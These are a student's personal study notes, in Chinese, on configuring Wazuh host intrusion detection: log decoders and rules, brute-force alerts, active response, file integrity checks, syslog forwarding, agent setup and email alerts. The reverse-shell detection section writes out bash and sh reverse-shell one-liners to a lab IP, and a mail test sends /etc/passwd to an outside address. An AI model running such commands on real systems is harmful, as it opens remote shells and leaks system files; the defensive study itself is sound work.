5.1网安学习第五阶段第一周回顾(个人学习记录使用)

本周重点

①日志检测与HIDS系统

②Wazuh的应用

③Wazuh配合syslog的应用

Wazuh配置邮箱预警

Wazuh与Elastic整合

Wazuh检测木马与配置

各类日志分析工具(详见笔记)

本周主要内容

①日志检测与HIDS系统

一、安全服务工程师岗位职责

网络安全服务工程师的职责主要包括以下几个方面:

  1. 等级保护项目整改:参与等级保护2.0相关项目的整改工作,包括售前测试、售后实施和维护。
  2. 安全产品实施与维护:负责实施防病毒、防火墙、入侵检测系统、数据库审计、日志审计等安全产品,并根据等级保护测评结果配置相应产品策略。
  3. 网络安全事件应急处理:在网络安全事件发生时,进行应急响应和处理,确保业务系统的安全稳定运行。
  4. 客户培训:为客户提供产品培训和网络安全基础培训,提高客户的安全意识和防护能力。
  5. 安全监控与日志分析:监控网络安全状态,分析安全设备日志,如防火墙、WAF、抗DDoS设备等,以发现潜在的安全威胁。
  6. 安全扫描与渗透测试:使用安全扫描工具进行风险评估、漏洞扫描、渗透分析等,以识别和修复安全漏洞。
  7. 安全加固与优化:对公司各类系统进行安全加固,提升系统的安全性,并对安全事件进行响应和清理。
  8. 安全技术研究与创新:跟踪最新的安全技术和行业动态,进行安全防范技术和黑客技术的研究,以提升公司的安全防护能力。

二、学习的内容

1、日志分析和HIDS

2、流量分析和NIDS

3、入侵排查

4、等保测评

5、护网专项

三、日志分析和HIDS

1、IDS:Intrusion detection system 入侵检测系统

第一类:HIDS 主机入侵检测系统,基于操作系统的文件或日志,不关注网络流量

第二类:NIDS 网络入侵检测系统,关于网络流量,不关注主机文件或日志,该系统的劣势:对于加密流量存在检测难题

2、IPS: Intrusion protection system 入侵防御系统

第一类:基于网络流量的IPS,不仅可以发现非法流量,还可以直接阻断该流量,(部署方式:串联部署,不能旁挂)

第二类:基于web服务器或各类应用服务器,比如:Nginx,apache,tomcat,iis,weglogic,部署的WAF(Web application firewall)系统

3、两类系统的部署方式

image-20240513121301266

ips系统采用串联,NIDS也是串联模式,HIDS采用旁挂

②Wazuh的应用

一、HIDS和Wazuh安装

1、安装步骤

rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH

echo -e '[wazuh]\ngpgcheck=1\ngpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH\nenabled=1\nname=EL-$releasever - Wazuh\nbaseurl=https://packages.wazuh.com/4.x/yum/\nprotect=1' | tee /etc/yum.repos.d/wazuh.repo

yum -y install wazuh-manager

2、wazuh目录结构

drwxr-x---.  3 root  wazuh   17 5月  13 14:13 active-response  主动响应的脚本的存放路径
drwxr-x---.  2 root  wazuh  286 5月  13 14:13 agentless  设置不用代理的脚本
drwxr-x---.  4 root  wazuh   42 5月  13 14:13 api 
drwxr-x---.  5 root  wazuh   44 5月  13 14:13 backup 
drwxr-x---.  2 root  wazuh 4096 5月  13 14:13 bin     wazuh常用可执行程序目录
drwxrwx---.  7 wazuh wazuh  242 5月  13 14:13 etc    存放全部的配置文件和解码器、规则文件的目录
drwxr-x---.  5 root  wazuh   48 5月  13 14:13 framework 
drwxr-x---.  2 root  wazuh  183 5月  13 14:13 integrations
drwxr-x---.  2 root  wazuh  252 5月  13 14:13 lib
drwxrwx---.  8 wazuh wazuh  194 5月  13 14:14 logs   存放日志文件,重点关注:alerts/alerts.log  alerts/alerts.json 、active-response.log
drwxr-x---. 15 root  wazuh  199 5月  13 14:13 queue
drwxr-x---.  5 root  wazuh   46 5月  13 14:13 ruleset     存放wazuh提供默认的解码器和规则文件的目录
drwxr-x---.  5 wazuh wazuh   64 5月  13 14:14 stats 
drwxrwx--T.  2 root  wazuh    6 5月  13 14:13 tmp
drwxr-x---.  9 root  wazuh  106 5月  13 14:14 var 
drwxr-x---.  6 root  wazuh   93 5月  13 14:13 wodles

3、服务启动和停止

启动服务
systemctl  start wazuh-manager

前端启动
bin/wazuh-control start 
观察启动的结果
bin/wazuh-contrl  status

4、主配置文件 /var/ossec/etc/ossec.conf

5、wazuh系统架构

image-20240513151954281

6、例子:监控SSH登录日志

监控日志文件的步骤

1、在主配置文件中,加入需要监控的文件路径 /var/ossec/ossec.conf

<ossec_config>

<localfile>
 <log_format>syslog</log_format>
 <location>/var/log/secure</location>
</localfile>


</ossec_config>

2、解码器的配置

sshd[8813]: Accepted password for root from 192.168.10.1 port 1066 ssh2

Failed password for root from 192.168.230.1 port 30723 ssh2

  54 <decoder name="sshd">  定义解码器的名称
  55   <program_name>^sshd</program_name>  匹配日志当中以sshd开头的程序
  56 </decoder>
  57 
  58 <decoder name="sshd-success">  登录成功的解码器
  59   <parent>sshd</parent>  引用父解码器
  60   <prematch>^Accepted</prematch>  预匹配,粗匹配 ,如果日志中出现了  以 Accepted 开头的行
  61   <regex offset="after_prematch">^ \S+ for (\S+) from (\S+) port (\S+)</regex>  精确匹配,以给出的正则进行精确匹配,offset="after_prematch" 表示在prematch匹配的内容之后
  								正则中的(xxx) 用来提取变量数据,提取的变量给后面的 <order>用
  62   <order>user, srcip, srcport</order> 存储解码器提取的变量,这里的user、srcip、srcport来自于上面的节点中的正则表达式,顺序要一致
  63   <fts>name, user, location</fts>
  64 </decoder>
  65 
  66 <decoder name="ssh-denied">
  67   <parent>sshd</parent>
  68   <prematch>^User \S+ from </prematch>
  69   <regex offset="after_parent">^User (\S+) from (\S+) </regex>
  70   <order>user, srcip</order>
  71 </decoder>
  72 
  73 <decoder name="sshd-success-solaris">
  74   <parent>sshd</parent>
  75   <prematch>^User </prematch>
  76   <regex offset="after_prematch">^(\S+), coming from (\S+), </regex>
  77   <order>user, srcip</order>
  78   <fts>name, user, location</fts>
  79 </decoder>
  95 <decoder name="ssh-failed">
  96   <parent>sshd</parent>
  97   <prematch>^Failed \S+ </prematch>
  98   <regex offset="after_prematch">^for (\S+) from (\S+) port (\d+)</r        egex>
  99   <order>user, srcip, srcport</order>
 100 </decoder>

3、匹配规则

<group name="syslog,sshd,">  规则分组,name代表日志文件的类型

<rule id="5700" level="0" noalert="1">  规则1 id=5700, 级别为0,noalert=1无需预警
 <decoded_as>sshd</decoded_as>  引用解码器的名字
 <description>SSHD messages grouped.</description>  描述:
</rule>

<rule id="5701" level="8"> 规则2  编号5701  规则的级别8
 <if_sid>5700</if_sid>  引用父规则的编号,说明基于某个父规则来执行本条规则
 <match>Bad protocol version identification</match>  匹配的内容
 <description>sshd: Possible attack on the ssh server (or version gathering).</description> 描述
 <mitre> 引用相关标准中的规则编号
   <id>T1190</id>
 </mitre>
 <group>gdpr_IV_35.7.d,gpg13_4.12,nist_800_53_SI.4,pci_dss_11.4,recon,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group>  标准分组
</rule>

<rule id="5702" level="5">
 <if_sid>5700</if_sid>
 <match>^reverse mapping</match>
 <regex>failed - POSSIBLE BREAK</regex>
 <description>sshd: Reverse lookup error (bad ISP or attack).</description>
 <group>gdpr_IV_35.7.d,gpg13_4.12,nist_800_53_SI.4,pci_dss_11.4,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group>
</rule>

 <rule id="5716" level="5">
 <if_sid>5700</if_sid>
 <match>^Failed|^error: PAM: Authentication</match>
 <description>sshd: authentication failed.</description>
 <mitre>
   <id>T1110</id>
 </mitre>
 <group>authentication_failed,gdpr_IV_35.7.d,gdpr_IV_32.2,gpg13_7.1,hipaa_164.312.b,nist_800_53_AU.14,nist_800_53_AC.7,pci_dss_10.2.4,pci_dss_10.2.5,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group>
</rule>

 <rule id="5763" level="10" frequency="8" timeframe="120" ignore="60"> frequency表示频率,timeframe表示频率计算的时间周期,代表在120秒之内,连续出现8次5760规则匹配
 <if_matched_sid>5760</if_matched_sid> 用于计数的规则编号
 <same_source_ip/>  来自于同一个IP地址
 <description>sshd: brute force trying to get access to the system. Authentication failed.</description>
 <mitre>
   <id>T1110</id>
 </mitre>
 <group>authentication_failures,gdpr_IV_35.7.d,gdpr_IV_32.2,hipaa_164.312.b,nist_800_53_SI.4,nist_800_53_AU.14,nist_800_53_AC.7,pci_dss_11.4,pci_dss_10.2.4,pci_dss_10.2.5,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group>
</rule>


</group>

4、输出到日志

** Alert 1715587734.577633: - syslog,sshd,
2024 May 13 16:08:54 localhost->/var/log/secure
Rule: 5762 (level 4) -> 'sshd: connection reset'
Src IP: 192.168.230.1
Src Port: 31830
User: by
May 13 16:08:53 localhost sshd[20899]: Connection reset by 192.168.230.1 port 31830 [preauth]

二、MySQL日志

1. 处理MySQL日志并且预警

1、配置ossec.conf,将MySQL的日志加入到监控中

  • MySQL日志需要记录,在MySQL的配置文件my.cnf中,打开日志记录的配置

    general_log=ON
    general_log_file=/opt/lampp/logs/mysql.log
    log_output=file
    

    chmod o+w /opt/lampp/logs

  • 修改ossec.conf

    <localfile>
        <log_format>syslog</log_format>
        <location>/opt/lampp/logs/mysql.log</location>
      </localfile>
    

2、解码器配置,ruleset/decoders/0150-mysql_decoders.xml

<decoder name="mysql_log">
  <prematch>\d+ Connect</prematch>
</decoder>

3、日志匹配的规则: ruleset/rules/0295-mysql_rules.xml

<rule id="50105" level="3">
    <if_sid>50100</if_sid>
    <regex>\d+ Connect</regex>
    <description>MySQL: authentication success.</description>
    <mitre>
      <id>T1078</id>
    </mitre>
    <group>authentication_success,</group>
  </rule>

  <rule id="50106" level="9">
    <if_sid>50100</if_sid>
    <match>Access denied for user</match>
    <description>MySQL: authentication failure.</description>
    <group>authentication_failed,</group>
  </rule>

4、重启wazuh-manager,监控日志

./wazuh-control restart
tail -f /var/ossec/logs/alerts/alerts.log

5、在MySQL的客户端检验预警是否有效

** Alert 1715594613.597053: - mysql_log,authentication_failed,pci_dss_10.2.4,pci_dss_10.2.5,pci_dss_8.7,gpg13_7.1,gdpr_IV_35.7.d,gdpr_IV_32.2,hipaa_164.312.b,hipaa_164.312.d,hipaa_164.312.e.1,hipaa_164.312.e.2.I,hipaa_164.312.e.2.II,nist_800_53_AU.14,nist_800_53_AC.7,nist_800_53_SC.2,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,tsc_PI1.4,tsc_PI1.5,
2024 May 13 18:03:33 localhost->/opt/lampp/logs/mysql.log
Rule: 50106 (level 9) -> 'MySQL: authentication failure.'
                   10 Connect   Access denied for user 'root'@'192.168.230.1' (using password: NO)
2. 检测MySQL暴力破解

问题:如果你发现有人在暴力破解你的MySQL的账户,怎么解决

暴力破解的症状是什么?

在一个时间范围内,反复多次的出现用户名或密码不正确,而且是来自于同一个IP

这样的现象在日志中是不是会呈现多条相同日志

240514 10:47:42     3 Connect   root@192.168.230.1 as anonymous on 
                 3 Connect   Access denied for user 'root'@'192.168.230.1' (using password: NO)
240514 10:47:43     4 Connect   root@192.168.230.1 as anonymous on 
                 4 Connect   Access denied for user 'root'@'192.168.230.1' (using password: NO)
240514 10:47:45     5 Connect   root@192.168.230.1 as anonymous on 
                 5 Connect   Access denied for user 'root'@'192.168.230.1' (using password: NO)
240514 10:47:46     6 Connect   root@192.168.230.1 as anonymous on 
                 6 Connect   Access denied for user 'root'@'192.168.230.1' (using password: NO)
240514 10:47:47     7 Connect   root@192.168.230.1 as anonymous on 
                 7 Connect   Access denied for user 'root'@'192.168.230.1' (using password: NO)
240514 10:47:48     8 Connect   root@192.168.230.1 as anonymous on 
                 8 Connect   Access denied for user 'root'@'192.168.230.1' (using password: NO)

wazuh预警日志:

2024 May 14 10:47:48 localhost->/opt/lampp/logs/mysql.log
Rule: 50106 (level 9) -> 'MySQL: authentication failure.'
                 7 Connect   Access denied for user 'root'@'192.168.230.1' (using password: NO)

反复出现50106规则匹配预警

假设10秒中之内出现5次50106,那我们就认为MySQL在被暴力破解

因此在MySQL的匹配规则中,增加以下内容

<rule id="501061" level="10" frequency="5" timeframe="10">
 <if_match_sid>50106</if_match_sid>
 <same_source_ip/>
 <description>MySQL:疑似MySQL账号暴力破解.</description>
 <group>attack,</group>
</rule>

重要的关注点

1、参数:frequency 表示频率,依据是后面timeframe,组合的意思就是: 在timeframe的时间范围内容发生了frequency设定的次数,激活的前提就是if_matched_id指定的编号的规则。

2、满足上述条件,则激活当前规则

三、检测访问中出现404

监控apache的日志,检测访问中出现404

<rule id="31101" level="5">
    <if_sid>31100</if_sid>
    <id>^404$</id>
    <description>发生404网络错误.</description>
    <group>attack,pci_dss_6.5,pci_dss_11.4,gdpr_IV_35.7.d,nist_800_53_SA.11,nist_800_53_SI.4,tsc_CC6.6,tsc_CC7.1,tsc_CC8.1,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,</group>
  </rule>
  
  <!-- 检测扫描 -->
 <rule id="561103" level="10" frequency="3" timeframe="30">
    <if_matched_sid>31101</if_matched_sid>
    <same_source_ip></same_source_ip>
    <description>同一个IP地址不停出现404状态码,疑似扫描.</description>
    <group>attack,</group>
</rule>

四、对预警的主动响应

提出意义: 当wazuh从日志中检测到了明显的攻击行为,按照前面的知识来说,wazuh只是进行了预警,并没有采取任何阻止的行为。

面对这种情况,是否可以对该类请求进行阻止

wazuh提供了主动响应的策略和解决方案

![(https://woniumd.oss-cn-hangzhou.aliyuncs.com/test/huminghai/20240514115603.png)

1、主动响应的脚本目录:/var/ossec/active-response/bin

2、必须要在ossec.conf中配置启用主动响应

3、指定一个可用的响应脚本

<active-response>
    <command>firewall-drop</command>  指定响应的脚本,理解为需要执行的命令
    <location>local</location>   定位到本地
    <rules_id>501061</rules_id>   指定触发主动响应的规则编号
    <timeout>60</timeout>  超时就放弃执行命令
  </active-response>

有哪些脚本:

disable-account: 禁用账户

firewall-drop: 将srcip添加到防火墙的拒绝列表中

firewalld-drop: 将srcip添加到防火墙的丢弃列表中

host-deny: 将srcip添加到/etc/hosts.deny 文件中

ipfw: 同firewall-drop

五、自定义解码器和规则

问题:有一种日志,形式如下:需要wazuh对该种类型的日志,产生预警信息

Dec 25 20:45:02 MyHost example[12345]: User 'admin' logged from '192.168.1.100'

步骤

1、在主配置文件中,开启自定义配置

<ruleset>
    <!-- Default ruleset -->
    <decoder_dir>ruleset/decoders</decoder_dir>
    <rule_dir>ruleset/rules</rule_dir>
    <rule_exclude>0215-policy_rules.xml</rule_exclude>
    <list>etc/lists/audit-keys</list>
    <list>etc/lists/amazon/aws-eventnames</list>
    <list>etc/lists/security-eventchannel</list>

    <!-- User-defined ruleset 用户定义的规则集 -->  
    <decoder_dir>etc/decoders</decoder_dir>  解码器的位置
    <rule_dir>etc/rules</rule_dir>  规则的位置
  </ruleset>

六、系统检测 (监控)

1.文件完整性检测

作用:对操作系统中的指定目录下的文件进行监控,如果这些目录或文件发生变化,wazuh就会进行预警

例如:修改了/etc/passwd文件的内容,修改 /etc/sudoers ,对于普通应用,比如: /opt/lampp/htdocs

保证文件完整性检测功能开启,将需要监测的目录配置到ossec.conf的syscheck节点中

<syscheck>
    <disabled>no</disabled>  这里设置为no,表示不禁用

    <!-- Frequency that syscheck is executed default every 12 hours 43200 -->
    <frequency>30</frequency>  设定检测的频率, 指的多少秒钟执行一次,默认设置为43200

    <scan_on_start>yes</scan_on_start>  表示wazuh启动的时候先进行检测

    <!-- Generate alert when new file detected -->
    <alert_new_files>yes</alert_new_files>

    <!-- Dont ignore files that change more than 'frequency' times -->
    <auto_ignore frequency="10" timeframe="3600">no</auto_ignore>

    <!-- Directories to check  (perform all possible verifications) -->
    <directories>/etc,/usr/bin,/usr/sbin</directories>
    <directories>/bin,/sbin,/boot</directories>

    <directories>/opt/lampp/htdocs</directories>  添加需要监测的目录
    
    <ignore>/opt/lampp/htdocs/audit/upload</ignore> 添加需要忽略的目录
    ....
    
   </syscheck>

测试效果

2024 May 14 15:52:32 localhost->syscheck
Rule: 554 (level 5) -> 'File added to the system.'
File '/opt/lampp/htdocs/shell.php' added
Mode: scheduled

Attributes:
 - Size: 26
 - Permissions: rw-r--r--
 - Date: Tue May 14 15:52:06 2024
 - Inode: 101542366
 - User: root (0)
 - Group: root (0)
 - MD5: cc38a3ac2d7918a810464817c49c493d
 - SHA1: 2c98f933477cee224d1f69ac8cdf90878bb9a0a1
 - SHA256: 03d8b31d5839740aabb85a68add7a3292e2b30fcd5281d2fb50f09ae9b306f93
2、检测反弹shell

反弹shell的格式:

bash -i >& /dev/tcp/192.168.230.138/4444 0>&1

sh -i >& /dev/tcp/192.168.230.138/4444 0>&1

检测反弹shell的命令

ps -ef|grep bash

netstat -anlp|grep /bash

netstat -anlp|grep /sh

ss -apn |grep ESTAB |egrep ‘(“bash”|“sh”)’

要配置检测命令,在ossec.conf

<localfile>
    <log_format>command</log_format>
    <command>netstat -anptl</command>
    <frequency>10</frequency>
</localfile>

配置相应的处理规则,0015-ossec_rules.xml

<group name="ossec,">
  <rule id="561201" level="0">
    <if_sid>530</if_sid>
    <match>ossec: output: 'netstat -anptl'</match>
   <description>正在监听反弹Shell</description>
  <group>process_monitor,</group>
 </rule>
  <rule id="561202" level="15">
    <if_sid>561201</if_sid>
    <match>bash</match>
    <description>监听到反弹Shell</description>
   <group>process_monitor,attack</group>
</rule>
</group>

③Wazuh配合syslog的应用

一、Linux系统的syslog

1、syslog是什么,作用有哪些,数据通信方式有哪些?

Syslog(系统日志)是一种标准化的消息记录协议,它广泛用于计算机系统和网络设备来保存和转发日志消息,使得这些消息可以被集中存储、分析和管理。它最初由 Eric Allman 在 1980 年设计,并被大量网络设备、服务器、安全设备等遵循和实现。Syslog 既是一个协议也是一个应用程序接口(API),用于系统管理和安全软件的消息记录。

①Syslog的作用
  1. 日志记录和监控
    • Syslog 允许系统和网络设备通过标准化方式记录事件和错误。这些日志对于故障排除、系统监控和确保网络及其资源的有效运作至关重要。
  2. 安全审计
    • Syslog 能够记录所有安全事件,为安全审计提供重要信息。通过分析这些日志,安全团队可以检测、响应和预防安全威胁。
  3. 合规性
    • 对于许多业务和组织,按照法规保留日志是必须的。Syslog 提供了一种简单的方式来集中管理这些日志,帮助组织满足各种合规性需求,例如 PCI-DSS、HIPAA、SOX 等。
  4. 故障分析
    • 当系统或网络出现故障时,Syslog 提供的详细日志可以帮助快速识别问题来源,从而加快恢复时间。
  5. 集中管理
    • 通过将多个设备和应用的日志数据发送到集中的日志服务器,Syslog 有助于简化日志管理,提高效率。
②Syslog的数据通信方式
  1. UDP(用户数据报协议)
    • 最常见的 Syslog 传输方式是通过 UDP 端口 514。UDP 是一种无连接的传输协议,不保证消息的可靠送达。它的优势在于低延迟和较少的通信开销。
  2. TCP(传输控制协议)
    • 对于需要可靠传输的应用,Syslog 也可以通过 TCP 实现。TCP 保证了数据的顺序和可靠性,避免了消息的丢失。这对于安全和审计日志非常重要。
  3. TLS(传输层安全)
    • 在安全敏感的环境中,Syslog 数据可以通过 TLS 加密,以确保在传输过程中的安全性和完整性。这种方式通过防止数据泄露和篡改,提高了 Syslog 传输的安全性。

2、rsyslog是什么,作用有哪些

Rsyslog 是一种开源的日志处理工具,广泛用于 UNIX 和类 UNIX 系统(如 Linux)中。它实现了 Syslog 协议,并且具有高度的可配置性和强大的处理能力,使其能够扩展到处理大量日志数据。Rsyslog 提供了比传统 Syslog 守护程序更多的功能和更高的性能,支持多种插件,包括数据库、邮件、文件过滤等多种输出方式。

③Rsyslog的作用
  1. 日志收集和处理
    • Rsyslog 能够从各种来源收集日志,包括本地系统日志、网络设备日志及其他服务器日志。它可以处理这些数据,进行过滤、修改和重新格式化操作。
  2. 日志转发
    • Rsyslog 可以将日志转发到其他日志服务器,实现日志的集中管理。这对于大型网络环境中跨多个服务器和设备的日志管理尤为重要。
  3. 日志存储
    • Rsyslog 支持多种存储选项,包括但不限于常规的文件系统、数据库和网络服务。这使得日志数据的长期存储、查询和分析变得更加高效和灵活。
  4. 高性能
    • Rsyslog 设计用于高性能应用,能够处理每秒数千到数万条日志消息。通过使用模块化的输出通道,它可以同时进行日志写入和转发而不影响性能。
  5. 支持高级过滤
    • Rsyslog 提供了基于内容的过滤功能,这意味着它可以根据日志消息的具体内容来决定如何处理这些消息。这包括正则表达式匹配、条件比较等。
  6. 安全传输
    • Rsyslog 支持通过 TLS/SSL 加密来安全地传输日志数据,这对于需要保护日志数据免受在传输过程中被监听或篡改的应用场景非常重要。
  7. 可扩展性和灵活性
    • Rsyslog 的模块化架构允许用户根据需要添加新的功能模块。它的配置系统非常灵活,可以处理极其复杂的日志处理场景。
④Rsyslog的基本语法

Rsyslog 是一种强大的日志处理工具,其配置文件提供了丰富的选项来定义日志的收集、处理和转发方式。配置文件通常位于 /etc/rsyslog.conf/etc/rsyslog.d/ 目录中的各种文件内。下面是一些基本的 rsyslog 配置语法和概念,帮助您理解如何使用它来管理日志。

  1. 模块加载

Rsyslog 功能依赖于各种模块,需要在配置文件中显式加载这些模块:

module(load="imudp")   # 加载处理 UDP 输入的模块
module(load="imtcp")   # 加载处理 TCP 输入的模块
module(load="imklog")  # 加载内核日志模块
  1. 输入定义

定义 rsyslog 应该从哪里收集日志:

input(type="imudp" port="514")  # 监听指定端口的 UDP 日志
input(type="imtcp" port="514")  # 监听指定端口的 TCP 日志
  1. 过滤规则

使用选择器过滤日志。选择器由两部分组成:设施和优先级。

*.info;mail.none;authpriv.none;cron.none                /var/log/messages
authpriv.*                                              /var/log/secure
mail.*                                                  -/var/log/maillog
cron.*                                                  /var/log/cron
  • *.info:所有设施的 info 级别及以上日志。
  • mail.none:排除所有 mail 设施的日志。
  • /var/log/messages:将符合条件的日志写入 /var/log/messages
  1. 日志转发

将日志转发到其他服务器:

*.* @remote-host:514          # 通过 UDP 转发所有日志
*.* @@remote-host:514         # 通过 TCP 转发所有日志
  1. 模板定义

定义日志的格式或输出路径:

template(name="FileFormat" type="string"
         string="/var/log/%$YEAR%/%$MONTH%/%$DAY%/%HOSTNAME%/%syslogtag%-%$hour%.log")

*.* ?FileFormat;RSYSLOG_TraditionalFileFormat

这个模板定义了一个基于日期和主机名的动态日志文件路径。

  1. 属性替换

使用属性替换创建动态内容或文件名:

$template DynamicFile,"/var/log/%HOSTNAME%/syslog.log"
*.* -?DynamicFile
  1. 控制流

使用条件语句来处理日志:

if $msg contains 'error' then /var/log/error.log
& stop

如果消息包含 ‘error’,则将其写入 /var/log/error.log 并停止处理此消息。

  1. 性能优化

通过配置文件设置提高性能,例如使用异步 IO:

$ActionFileEnableSync off
  1. 调试

开启调试模式以帮助诊断问题:

$DebugFile /var/log/rsyslog_debug.log
$DebugLevel 2

这些是 rsyslog 的一些基本配置元素。根据实际需求,可以深入学习更多高级配置和优化策略。通过组合这些基本元素,可以创建复杂的日志处理规则以适应各种运行环境。

④如何配置rsyslog的服务器和客户端,实现日志服务器的操作

1、服务器端的配置

# Provides UDP syslog reception
$$ModLoad imudp
$$UDPServerRun 514

# Provides TCP syslog reception
$$ModLoad imtcp
$$InputTCPServerRun 514

# 将来自IP地址192.168.10.131的日志消息存储到文件
:fromhost-ip,isequal,"192.168.10.131"  /var/log/host_128/message.log
# 日志消息将被丢弃,不再进一步处理
:fromhost-ip,isequal,"192.168.10.131"  ~

重启rsyslog服务

2、客户端的配置

*.* @192.168.10.132:514

重启rsyslog服务

二、wazuh监测syslog

wazuh自带rsyslog的功能,不需要通过rsyslog进程和日志文件中转

实现步骤:

1、在ossec.conf文件中打开远程日志文件接收

 <!-- 允许516的UDP端口通过网段Ip -->
  <remote>
    <connection>syslog</connection>
    <port>516</port>
    <protocol>udp</protocol>
    <allowed-ips>192.168.10.0/24</allowed-ips>
  </remote>

  <!--级别超过5就发到客户端 --> 
  <syslog_output>
    <level>5</level>
    <server>192.168.10.131</server>
    <port>514</port>
  </syslog_output>
 
  <!--级别超过5就把日志发到服务端 --> 
  <syslog_output>
    <level>5</level>
    <server>192.168.10.132</server>
    <port>514</port>
  </syslog_output>

<!--  
  <localfile>
     <log_format>syslog</log_format>
     <location>/var/log/host_128/host*</location>
   </localfile>
-->

2、修改server的/etc/rsyslog.conf

# 将来自IP地址192.168.10.131的日志消息存储到文件
# :fromhost-ip,isequal,"192.168.10.131"  /var/log/host_128/message.log
# 日志消息将被丢弃,不再进一步处理
# :fromhost-ip,isequal,"192.168.10.131"  ~

# 定义了RemoteLogs模板,每个不同的来源 IP 的日志会被存储在不同的文件中
$template RemoteLogs,"/var/log/host_128/host_%fromhost-ip%.log"
# 这些消息按照 RemoteLogs 模板所定义的格式进行存储
# :fromhost-ip,isequal,"127.0.0.1" ?RemoteLogs
# :fromhost-ip,isequal,"192.168.10.131" ?RemoteLogs
# 使用模板记录所有消息
*.* ?RemoteLogs
  1. 客户端的配置
*.* @192.168.10.132:516

重启rsyslog服务

三、安装agent

一、安装Agent客户端
1、生成Authentication Key

在Manager端运行/var/ossec/bin/manage_agents命令

[root@centqiang bin]# ./manage_agents
选A创建代理
再选E创建密钥

根据客户端的IP地址添加Agent,并生成相应的Key备用。

2、在Windows上安装Agent

(1)保持默认安装,并勾选Run Agent configuration interface

image-20211220233900600

(2)输入Manager IP地址和对应的Authentication key。并在Manager菜单中选择重启服务。

image-20211220235238474

(3)在Manager端运行/var/ossec/bin/manage_agents -l,可以看到以下输出,表示连接成功

Available agents:    ID: 001, Name: winseven, IP: any

在Windows操作系统上,wazuh-agent将被安装为系统服务。

image-20211221000229146

(4)重启agent服务,并运行命令确认已经成功连接到manager

netstat -ano
3、在Linux上安装Agent

(1)在客户端电脑上写入repo文件

rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH

cat > /etc/yum.repos.d/wazuh.repo << EOF
[wazuh]
gpgcheck=1
gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH
enabled=1
name=EL-\$releasever - Wazuh
baseurl=https://packages.wazuh.com/4.x/yum/
protect=1
EOF

(2)安装wazuh-agent

yum install wazuh-agent

(3)设置Agent为自启动

systemctl enable wazuh-agent

(4)修改配置文件指定Manager IP

在Agent客户端编辑 /var/ossec/etc/ossec.conf文件

<server>    
<address>192.168.112.195</address>    
<port>1514</port>    
<protocol>tcp</protocol>
</server>

(5)启动wazuh-agent服务

systemctl start wazuh-agent

(6)在Linux的Agent端同样运行manage_agents命令,导入Key

[root@centqiang bin]# ./manage_agents
选I导入密钥

(7)重启wazuh-agent服务,并运行netstat命令确认连接成功建立。

(8)在服务器端确认代理端是否正常上线:

[root@localhost bin]# ./agent_control -lc

Wazuh agent_control. List of available agents:
   ID: 000, Name: localhost.localdomain (server), IP: 127.0.0.1, Active/Local
   ID: 001, Name: demo01, IP: 192.168.10.131, Active
二、测试Agent与Manager
1、Windows

(1)在C:\Program Files\ossec-agent文件夹中找到安装目录,并尝试修改ossec.conf

(2)在Windows上添加一个新的账号

(3)在%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup文件夹中添加一个新的文件

(4)在ossec.conf文件中添加对Apache访问日志的监听,并构造404错误

<localfile>    
<location>C:\Xampp\apache\logs\access.log</location>    
<log_format>syslog</log_format>
</localfile>

(5)如果上述测试完全通过,则其他操作完全一致。

2、Linux

(1)添加一个新的账号,然后删除它

(2)在/etc/目录下创建一个新的文件

(3)启动Xampp服务

(4)访问Xampp页面并产生404错误

三、Agentless无代理配置

在Agentless的配置场景下,可以用于检测目标系统的文件完整性,功能相对较少。

1、使用SSH输入密码登录远程目标
/var/ossec/agentless/register_host.sh add root@example_address.com example_password [enablepass]
2、使用公钥登录远程目标
sudo -u ossec ssh-keygen

https://documentation.wazuh.com/current/user-manual/capabilities/agentless-monitoring/index.html

Wazuh配置邮箱预警

一、配置Postfix客户端
1、安装mailx邮件客户端
yum install postfix mailx cyrus-sasl cyrus-sasl-plain

早期的邮件客户端通常使用sendmail来发送邮件,而新版本上使用的是postfix进行邮件的发送和接收。在Linux中,只要配置好邮件客户端及SMTP账号后,不仅可以向当前系统的任意账号发送内部邮件,即我们看到的 /var/spool/mail/user 的文本型邮件,也可以向外网正常的邮箱地址发送邮件,如向 12345678@qq.com 发送邮件。

2、配置postfix

编辑 /etc/postfix/main.cf,配置QQ邮箱。

relayhost = [smtp.qq.com]:587     # 此处建议使用587端口(针对QQ邮箱)
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
smtp_tls_CAfile = /etc/ssl/certs/ca-bundle.crt
smtp_use_tls = yes

执行命令写入账户密码

# echo [smtp.qq.com]:587 15903523@qq.com:xxxx授权码xxxx > /etc/postfix/sasl_passwd
# postmap /etc/postfix/sasl_passwd
# chmod 400 /etc/postfix/sasl_passwd
# chown root:root /etc/postfix/sasl_passwd /etc/postfix/sasl_passwd.db
# chmod 0600 /etc/postfix/sasl_passwd /etc/postfix/sasl_passwd.db
# systemctl reload postfix
3、向本地系统用户发邮件
echo "This is email body" | mail -s "test email" root   # 直接使用管道发送简单邮件正文
mail -s "test email" root < /etc/passwd                 # 直接使用输入重定向的方式读取一个文件内容作为正文
cp /dev/null /var/spool/mail/root   # 先清空邮件
使用 mail 命令可以直接查看邮件,输入 序号 查看邮件正文,输入 q 推出, 输入 h 回到邮件列表
4、向外部邮箱地址发邮件
cat /etc/passwd | mail -s "Test Postfix" -r "15903523@qq.com" student@woniuxy.com
mail -s "Test Email Attachment" -r "15903523@qq.com" -a /root/wazuh-filebeat-0.1.tar.gz student@woniuxy.com < /etc/passwd
上述邮件中均需要添加 -r 参数,指定回信地址或发件人地址,否则会以“root@centqiang.localdomain”账户发送导致外发失败。
二、在Wazuh中配置邮箱

编辑核心配置文件:/var/ossec/etc/ossec.conf,在配置文件的开始位置,修改邮箱配置节点如下:

<global>
   <email_notification>yes</email_notification>
   <smtp_server>localhost</smtp_server>
   <email_from>15903523@qq.com</email_from>
